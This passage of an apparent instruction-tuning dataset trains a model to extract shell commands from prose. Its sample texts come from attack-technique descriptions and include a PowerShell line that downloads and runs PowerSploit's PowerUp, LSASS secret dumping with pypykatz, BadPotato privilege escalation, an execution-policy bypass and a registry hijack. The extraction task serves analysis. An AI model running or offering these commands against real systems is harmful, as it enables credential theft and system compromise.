    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Attackers can bypass PowerShell execution restrictions by changing the policy via the command: Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine",
    "output": "{\"command_list\": [\"Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To parse secrets hidden in the LSASS process using Python (similar to mimikatz), run the following command: \"#{venv_path}\\Scripts\\pypykatz\" live lsa",
    "output": "{\"command_list\": [\"\\\"#{venv_path}\\\\Scripts\\\\pypykatz\\\" live lsa \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For privilege escalation through named pipes, execute this multi-step command: cd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\nStart-Process .\\BadPotato.exe notepad.exe\nStart-Sleep -Second 20\nStop-Process -Name \"notepad\" -force -erroraction silentlycontinue\nStop-Process -Name \"BadPotato\" -force -erroraction silentlycontinue\n",
    "output": "{\"command_list\": [\"cd \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\nStart-Process .\\\\BadPotato.exe notepad.exe\\nStart-Sleep -Second 20\\nStop-Process -Name \\\"notepad\\\" -force -erroraction silentlycontinue\\nStop-Process -Name \\\"BadPotato\\\" -force -erroraction silentlycontinue\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To capture packets with domain AF_PACKET and type SOCK_RAW for 3 seconds while applying a BPF filter for UDP traffic, use the following command: sudo #{program_path} -a -f -t 3",
    "output": "{\"command_list\": [\"sudo #{program_path} -a -f -t 3\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For executing an arbitrary DLL (note that Windows 8/2012 is the minimum requirement), execute this command: C:\\Windows\\SysWow64\\Register-CimProvider.exe -Path \"#{dll_payload}\"\n",
    "output": "{\"command_list\": [\"C:\\\\Windows\\\\SysWow64\\\\Register-CimProvider.exe -Path \\\"#{dll_payload}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    By executing this command, you can replace the registry settings with a custom executable, ensuring the replacement programs run when the OS triggers the activity: reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MyComputer\\BackupPath\" /t REG_EXPAND_SZ /d \"%systemroot%\\system32\\notepad.exe\" /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\MyComputer\\\\BackupPath\\\" /t REG_EXPAND_SZ /d \\\"%systemroot%\\\\system32\\\\notepad.exe\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    BIOS information is often checked for sandbox detection, which can be done via these registry queries: reg query HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System /v SystemBiosVersion\nreg query HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System /v VideoBiosVersion",
    "output": "{\"command_list\": [\"reg query HKEY_LOCAL_MACHINE\\\\HARDWARE\\\\DESCRIPTION\\\\System /v SystemBiosVersion\\nreg query HKEY_LOCAL_MACHINE\\\\HARDWARE\\\\DESCRIPTION\\\\System /v VideoBiosVersion\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 